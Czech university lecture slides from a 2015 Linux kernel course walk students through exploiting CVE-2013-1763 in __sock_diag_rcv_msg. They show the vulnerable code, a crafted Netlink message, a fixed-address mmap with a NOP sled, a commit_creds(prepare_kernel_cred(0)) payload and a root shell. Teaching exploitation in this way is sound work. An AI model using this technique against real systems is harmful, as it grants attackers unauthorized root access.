PB173 – Ovladače jádra – Linux

XII. Exploit ve 2 hodinách

Jiri Slaby

Fakulta informatiky
Masarykova univerzita

17. 12. 2015

Exploit ve 2 hodinách

1. Výběr chyby a její popis

2. Psaní exploitu
   - Vykonání `__sock_diag_rcv_msg`
   - Dosažení chyby ve funkci
   - Spuštění rootovského shellu

Sekce 1

Výběr chyby a její popis

Výběr chyby

Kam se dívat

- *Exploit database*
- `http://www.exploit-db.com/`
- Přes 30’000 exploitů
- Nejen pro Linuxové jádro

Vybrali jsme chybu v Netlink kódu

Popis chyby

- Zranitelnosti jsou číslované
  - CVE (`http://cve.mitre.org/`)
  - Tato je CVE-2013-1763
- Chyba ve funkci `__sock_diag_rcv_msg`
  - Obsluha zpráv
  - Netlink rodina: `AF_NETLINK`
  - Diagnostická vrstva: `NETLINK_SOCK_DIAG`
  - Typ zprávy: `struct sock_diag_req` (viz dále)
  - Zabalená v Netlink hlavičce: `struct nlmsghdr`

`__sock_diag_rcv_msg` obsluhuje zprávy od uživatele.
A nesplňuje „POZOR”!

__sock_diag_rcv_msg

```
static const struct sock_diag_handler *sock_diag_handlers[AF_MAX]; /* AF_MAX is 41 */

static const struct sock_diag_handler *sock_diag_handlers[AF_MAX]; /* AF_MAX is 41 */

static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh)
{
  int err;
  struct sock_diag_req *req = nlmsg_data(nlh);
  const struct sock_diag_handler *hndl;

  if (nlmsg_len(nlh) < sizeof(*req))
    return -EINVAL;

  if (req->sdiag_family >= AF_MAX) /* commit 6e601a5356 */
    return -EINVAL;

  mutex_lock(&sock_diag_table_mutex);
  hndl = sock_diag_handlers[req->sdiag_family]; /* use of user's req->sdiag_family (__u8) */
  if (hndl == NULL)
    err = -ENOENT;
  else
    err = hndl->dump(skb, nlh); /* dereference */
  mutex_unlock(&sock_diag_table_mutex);
```

Sekce 2

Psaní exploitu

Co jádro (nechtěně) dělá

- Čte/zapisuje z/na uživatelem daný ukazatel
- Skáče na uživatelem danou adresu
- ...

K čemu jádro přimět

- Pád
  - DoS
- Spustit uživatelův kód
  - *Eskalace oprávnění*

Psaní exploitu

Pro `__sock_diag_rcv_msg`

Tři základní kroky

1. Vykonat `__sock_diag_rcv_msg`
2. Dostat se k chybě ve funkci
   - Zneužít ji!
3. Spustit rootovský shell

Subsection 1

Vykonání `__sock_diag_rcv_msg`

Zpráva SOCK_DIAG vrstvy

```
struct {
  struct nlmsghdr nlh; /* Netlink header */
  struct unix_diag_req r; /* Message from user */
} req;
```

struct nlmsghdr

```
.nlmsg_len = sizeof(req);
.nlmsg_type = SOCK_DIAG_BY_FAMILY;
.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
.nlmsg_seq = 123456;
```

Dva podkroky

1. Vytvoření soketu: `socket`
   - Rodina: `AF_NETLINK`
   - Protokol: `NETLINK_SOCK_DIAG`
2. Odeslání zprávy: `send`

Úkol

Vykonání funkce

1. Vytvořte soket
2. Vytvořte a pošlete zprávu
3. Můžete pomocí `ftrace` ověřit, že se funkce vykonala
   - `/sys/kernel/debug/tracing/README`

Subsection 2

Dosažení chyby ve funkci

Dosažení chyby ve funkci

Opakování kódu jádra

```
static const struct sock_diag_handler *sock_diag_handlers[41];
...
  hndl = sock_diag_handlers[req->sdiag_family];
...
  err = hndl->dump(skb, nlh);
```

struct unix_diag_req

```
__u8    sdiag_family;
__u8    sdiag_protocol;
__u16   pad;
__u32   udiag_states;
__u32   udiag_ino;
__u32   udiag_show;
__u32   udiag_cookie[2];
```

Úkol

Dosažení chyby ve funkci

1. Nastavte správný prvek ve `struct unix_diag_req`
   - Na správnou hodnotu
   - `AF_MAX` je 41
2. Opět pošlete takto upravenou zprávu
3. Pozorujte pád
4. Restartujte systém

Vyvolání specifické adresy

Opakování kódu jádra

```
static const struct sock_diag_handler *sock_diag_handlers[41];
...
  hndl = sock_diag_handlers[req->sdiag_family];
...
  err = hndl->dump(skb, nlh);
```

Při dobře zvoleném indexu, lze zavolat *předvídatelnou* adresu

- Index (`req->sdiag_family`) je `__u8`
  - Maximální hodnota: 255
  - Můžeme se dostat na paměť v rozsahu od `sock_diag_handlers` do `sock_diag_handlers + 255*sizeof(void *)`
- V rozsahu je např. ukazatel `nl_table` na `struct netlink_table`
  - K výpočtu pomůže `System.map` (Demo)
  - `hndl->dump` ~ `nl_table->hash.rehash_time`, což je `jiffies`

Oops

BUG: unable to handle kernel paging request at **0000000100012a5c**
IP: [<0000000100012a5c>] 0x100012a5c
...
Call Trace:
[< ffffffff81439e66 >] ? sock_diag_rcv_msg+0x76/0x130
[< ffffffff81439df0 >] ? sock_diag_unregister+0x50/0x50
[< ffffffff81519145 >] ? ftrace_graph_caller+0x85/0x85
[< ffffffff81451659 >] netlink_rcv_skb+0xa9/0xc0
[< ffffffff81439d24 >] ? sock_diag_rcv+0x24/0x40
[< ffffffff81450c7a >] ? netlink_unicast+0xda/0x1b0
[< ffffffff8145107c >] ? netlink_sendmsg+0x32c/0x750
[< ffffffff8140eb6b >] ? sock_sendmsg+0x8b/0xc0
[< ffffffff81186d3d >] ? __kmalloc+0x1cd/0x4a0
[< ffffffff81412103 >] ? sk_prot_alloc+0xb3/0x180
[< ffffffff81186047 >] ? kmem_cache_alloc_trace+0x207/0x450
[< ffffffff8140ecd1 >] ? SYSC_sendto+0xf1/0x180
[< ffffffff811a06ae >] ? alloc_file +0x1e/0xf0
[< ffffffff8140bcaf >] ? sock_alloc_file +0x9f/0x130
[< ffffffff811ba6aa >] ? __fd_install +0x1a/0x40
[< ffffffff815192a9 >] ? system_call_fastpath+0x16/0x1b

Mapování adresy

Oops byl na `0x0000000100012a5c`

- Namapovat a naplnit smysluplným kódem!
- `mmap` na předem danou adresu
  - První parametr: `0x0000000100000000`
  - Délka mapování: dostatečná (např. `0x2000000`)
  - Ochrana: `PROT_READ | PROT_WRITE | PROT_EXEC`
  - Vlaječky: `MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS`
- Vyplnit instrukcí `ret` (`0xc3` na `x86`)

Úkol: namapujte a vyplňte

Subsection 3

Spuštění rootovského shellu

V jádře je to jednoduché

Pod aktuálním procesem, v prostoru jádra, postačuje:

```
commit_creds(prepare_kernel_cred(0));
```

Ale jak linkovat funkce jádra v uživatelském prostoru?

- Najít adresu
  - Např. ze `System.map`
  - Uvažme adresu `A` funkce `x()`
- Volat `x()` nepřímo
  - ```
    void (*y)()= A;
    y();
    ```
    ```

Eskalace oprávnění

Kód

Kód k eskalaci oprávnění

```
int (*commit_creds)(unsigned long) = X;
unsigned long
  (*prepare_kernel_cred)(
      unsigned long) = Y;

int kernel_code() {
  commit_creds(prepare_kernel_cred(0));
  return -1;
}
```

```
void __jump(void);
void __jump_end(void);

void jump_payload_not_used() {
  asm volatile ("__jump:\n"
                "movq $kernel_code, %rax\n"
                "jmpq *%rax\n"
                "__jump_end:\n");
}
```

Exploit's `.text`	0x100000000

`int kernel_code() {`
`  commit_creds(prepare_kernel_cred(0));`
`  return -1;`
`}`
	...
	<many nops>
	nop
	nop
	nop
	movq $kernel_code, %rax
	jmpq *%rax

Spuštění rootovského shellu

Zavolání naší funkce

```
const unsigned long jump_sz = __jump_end - __jump;
memset(mmap_start, 0x90, mmap_size); /* 0x90 is 'nop' */
memcpy(mmap_start + mmap_size - jump_sz, __jump, jump_sz);
```

Spuštění shellu

```
if (!getuid()) /* am I really root? */
  system("/bin/sh");
```

Úkol

Spuštění rootovského shellu

1. Vytvořte si kód pro zavolání jádrem
   - C i assembler, který ho bude volat
2. Spusťte si shell
   - Po kontrole UID